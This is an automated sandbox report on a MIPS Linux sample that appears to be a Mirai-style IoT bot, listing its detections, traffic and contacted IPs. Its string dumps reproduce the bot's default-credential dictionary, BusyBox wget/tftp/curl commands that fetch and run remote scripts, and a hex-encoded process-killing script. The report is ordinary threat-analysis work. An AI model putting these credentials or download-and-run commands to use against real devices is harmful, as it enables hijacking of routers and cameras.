Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name: la.bot.mips.elf
Analysis ID: 1541762
MD5: 61c39707b07080d34d4cf8db9ecf4e05
SHA1: f7e4e73f36896ba60f0f8fbfdf1875b89e8eaaae
SHA256: bdfdb77fb08fbdb4d805dc9dfc4a9ba3a4d048a1a436b1f63a032c2824ec2409
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mips.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mips.elf Virustotal: Detection: 38% Perma Link
Source: la.bot.mips.elf ReversingLabs: Detection: 39%
Found strings indicative of a multi-platform dropper
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.mips.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate/mountinfo/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.mips.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 103.253.147.242 ports 3,4,6,7,9,49376
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:44838 -> 103.253.147.242:49376
Sample listens on a socket
Source: /tmp/la.bot.mips.elf (PID: 6236) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 102.233.248.15
Source: unknown TCP traffic detected without corresponding DNS query: 102.233.248.15
Source: unknown TCP traffic detected without corresponding DNS query: 69.5.142.162
Source: unknown TCP traffic detected without corresponding DNS query: 54.23.141.167
Source: unknown TCP traffic detected without corresponding DNS query: 69.5.142.162
Source: unknown TCP traffic detected without corresponding DNS query: 54.23.141.167
Source: unknown TCP traffic detected without corresponding DNS query: 172.45.2.249
Source: unknown TCP traffic detected without corresponding DNS query: 12.81.152.24
Source: unknown TCP traffic detected without corresponding DNS query: 172.45.2.249
Source: unknown TCP traffic detected without corresponding DNS query: 77.174.113.155
Source: unknown TCP traffic detected without corresponding DNS query: 12.81.152.24
Source: unknown TCP traffic detected without corresponding DNS query: 120.233.132.187
Source: unknown TCP traffic detected without corresponding DNS query: 77.174.113.155
Source: unknown TCP traffic detected without corresponding DNS query: 112.246.145.8
Source: unknown TCP traffic detected without corresponding DNS query: 120.233.132.187
Source: unknown TCP traffic detected without corresponding DNS query: 193.241.58.178
Source: unknown TCP traffic detected without corresponding DNS query: 112.246.145.8
Source: unknown TCP traffic detected without corresponding DNS query: 178.190.90.171
Source: unknown TCP traffic detected without corresponding DNS query: 193.241.58.178
Source: unknown TCP traffic detected without corresponding DNS query: 8.82.196.130
Source: unknown TCP traffic detected without corresponding DNS query: 178.190.90.171
Source: unknown TCP traffic detected without corresponding DNS query: 136.156.46.35
Source: unknown TCP traffic detected without corresponding DNS query: 64.235.74.106
Source: unknown TCP traffic detected without corresponding DNS query: 8.82.196.130
Source: unknown TCP traffic detected without corresponding DNS query: 92.202.29.32
Source: unknown TCP traffic detected without corresponding DNS query: 136.156.46.35
Source: unknown TCP traffic detected without corresponding DNS query: 93.63.106.26
Source: unknown TCP traffic detected without corresponding DNS query: 64.235.74.106
Source: unknown TCP traffic detected without corresponding DNS query: 128.131.222.231
Source: unknown TCP traffic detected without corresponding DNS query: 92.202.29.32
Source: unknown TCP traffic detected without corresponding DNS query: 100.222.66.136
Source: unknown TCP traffic detected without corresponding DNS query: 93.63.106.26
Source: unknown TCP traffic detected without corresponding DNS query: 157.147.191.20
Source: unknown TCP traffic detected without corresponding DNS query: 128.131.222.231
Source: unknown TCP traffic detected without corresponding DNS query: 197.36.79.85
Source: unknown TCP traffic detected without corresponding DNS query: 100.222.66.136
Source: unknown TCP traffic detected without corresponding DNS query: 42.153.61.229
Source: unknown TCP traffic detected without corresponding DNS query: 157.147.191.20
Source: unknown TCP traffic detected without corresponding DNS query: 89.191.216.22
Source: unknown TCP traffic detected without corresponding DNS query: 197.36.79.85
Source: unknown TCP traffic detected without corresponding DNS query: 221.35.98.132
Source: unknown TCP traffic detected without corresponding DNS query: 42.153.61.229
Source: unknown TCP traffic detected without corresponding DNS query: 4.93.48.74
Source: unknown TCP traffic detected without corresponding DNS query: 89.191.216.22
Source: unknown TCP traffic detected without corresponding DNS query: 22.178.28.161
Source: unknown TCP traffic detected without corresponding DNS query: 221.35.98.132
Source: unknown TCP traffic detected without corresponding DNS query: 55.148.83.163
Source: unknown TCP traffic detected without corresponding DNS query: 4.93.48.74
Source: unknown TCP traffic detected without corresponding DNS query: 130.244.226.100
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn
Source: la.bot.mips.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mips.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.mips.elf (PID: 6259) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.linELF@0/0@1/0
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/840/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.mips.elf (PID: 6259) File opened: /proc/82/fd Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mips.elf (PID: 6236) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mips.elf, 6236.1.00005589e667c000.00005589e6723000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6236.1.00005589e667c000.00005589e6723000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mips
Source: la.bot.mips.elf, 6236.1.00007ffe68f32000.00007ffe68f53000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
Source: la.bot.mips.elf, 6236.1.00007ffe68f32000.00007ffe68f53000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mips

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
206.225.9.246
 unknown United States
6428 CDMUS false
160.244.106.246
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
75.13.204.222
 unknown United States
7018 ATT-INTERNET4US false
150.182.227.138
 unknown United States
14209 UT-CHATTANOOGAUS false
56.229.79.17
 unknown United States
2686 ATGS-MMD-ASUS false
49.226.65.22
 unknown New Zealand
9500 VODAFONE-TRANSIT-ASVodafoneNZLtdNZ false
119.216.83.40
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
183.172.118.209
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
123.75.218.232
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
38.130.219.190
 unknown United States
13886 CLOUD-SOUTHUS false
146.65.251.137
 unknown United States
2018 TENET-1ZA false
83.14.176.203
 unknown Poland
5617 TPNETPL false
73.170.83.224
 unknown United States
7922 COMCAST-7922US false
161.106.242.210
 unknown France
2278 ORANGELABSOrangeLabsOLPSEU false
212.33.9.44
 unknown Russian Federation
30733 GLOBUS-ASRU false
41.12.61.95
 unknown South Africa
29975 VODACOM-ZA false
24.53.180.74
 unknown United States
13490 BUCKEYECABLEVISIONUS false
126.54.39.141
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
87.190.50.56
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
192.77.166.20
 unknown United States
394008 DBI-ASUS false
86.14.60.83
 unknown United Kingdom
5089 NTLGB false
188.71.134.182
 unknown Kuwait
29357 WATANIYATELECOM-ASKW false
188.0.38.122
 unknown Poland
198007 DOBRAFIRMA-PL false
142.57.59.100
 unknown Canada
394520 LSUCNET2CA false
156.54.82.66
 unknown Italy
20746 ASN-IDCTNOOMINCIT false
116.237.8.255
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
191.14.171.139
 unknown Brazil
26599 TELEFONICABRASILSABR false
181.75.29.129
 unknown Chile
6535 TelmexServiciosEmpresarialesSACL false
192.90.101.25
 unknown United States
3215 FranceTelecom-OrangeFR false
5.251.70.189
 unknown Kazakhstan
9198 KAZTELECOM-ASKZ false
223.7.87.19
 unknown China
37963 CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd false
175.191.155.36
 unknown China
7497 CSTNET-AS-APComputerNetworkInformationCenterCN false
111.2.67.208
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
131.73.87.245
 unknown United States
28075 ARLINKSAAR false
192.97.50.5
 unknown United States
54826 WITGCA false
25.34.230.144
 unknown United Kingdom
7922 COMCAST-7922US false
131.85.244.15
 unknown United States
140 DNIC-AS-00140US false
132.138.34.228
 unknown United States
306 DNIC-ASBLK-00306-00371US false
211.86.182.64
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
218.15.28.79
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
113.32.180.184
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
147.119.73.215
 unknown United Kingdom
10370 NORTHWEST-AIRLINESUS false
80.205.241.243
 unknown Italy
20959 TELECOM-ITALIA-DATA-COMIT false
123.6.122.7
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
117.192.109.114
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
9.169.96.63
 unknown United States
3356 LEVEL3US false
33.240.23.196
 unknown United States
2686 ATGS-MMD-ASUS false
56.202.122.95
 unknown United States
2686 ATGS-MMD-ASUS false
164.143.137.139
 unknown United Kingdom
21296 ASN-PWC-UKGB false
174.101.119.186
 unknown United States
10796 TWC-10796-MIDWESTUS false
173.13.158.55
 unknown United States
7922 COMCAST-7922US false
5.240.83.214
 unknown Sweden
1257 TELE2EU false
180.44.23.123
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
167.87.61.223
 unknown Germany
47003 ALPS-AS-1US false
142.121.0.90
 unknown Canada
577 BACOMCA false
189.104.44.1
 unknown Brazil
7738 TelemarNorteLesteSABR false
106.53.182.32
 unknown China
45090 CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa false
199.140.247.247
 unknown United States
4152 USDA-1US false
150.29.239.94
 unknown Japan 23793 AISTNationalInstituteofAdvancedIndustrialScienceandT false
191.79.129.252
 unknown Colombia
26611 COMCELSACO false
56.55.127.102
 unknown United States
2686 ATGS-MMD-ASUS false
15.101.109.82
 unknown United States
13979 ATT-IPFRUS false
52.204.239.189
 unknown United States
14618 AMAZON-AESUS false
71.154.233.210
 unknown United States
7018 ATT-INTERNET4US false
9.87.116.5
 unknown United States
3356 LEVEL3US false
179.25.124.83
 unknown Uruguay
6057 AdministracionNacionaldeTelecomunicacionesUY false
44.160.243.53
 unknown United States
7377 UCSDUS false
59.150.226.48
 unknown Korea Republic of
9457 DREAMX-ASDREAMLINECOKR false
54.167.212.38
 unknown United States
14618 AMAZON-AESUS false
104.63.13.95
 unknown United States
7018 ATT-INTERNET4US false
161.25.234.101
 unknown Chile
1916 AssociacaoRedeNacionaldeEnsinoePesquisaBR false
61.208.116.178
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
161.107.135.125
 unknown United States
17275 FMAC-I-BILLINGUS false
71.55.94.134
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
101.29.160.254
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
172.87.163.158
 unknown United States
11427 TWC-11427-TEXASUS false
37.70.27.151
 unknown France
15557 LDCOMNETFR false
132.200.188.234
 unknown United States
10754 GOV-FRB-BOGUS false
104.18.91.123
 unknown United States
13335 CLOUDFLARENETUS false
221.219.180.155
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
41.123.26.155
 unknown South Africa
16637 MTNNS-ASZA false
34.231.175.3
 unknown United States
14618 AMAZON-AESUS false
156.249.107.57
 unknown Seychelles
139086 ONL-HKOCEANNETWORKLIMITEDHK false
5.91.92.197
 unknown Italy
30722 VODAFONE-IT-ASNIT false
98.185.60.152
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
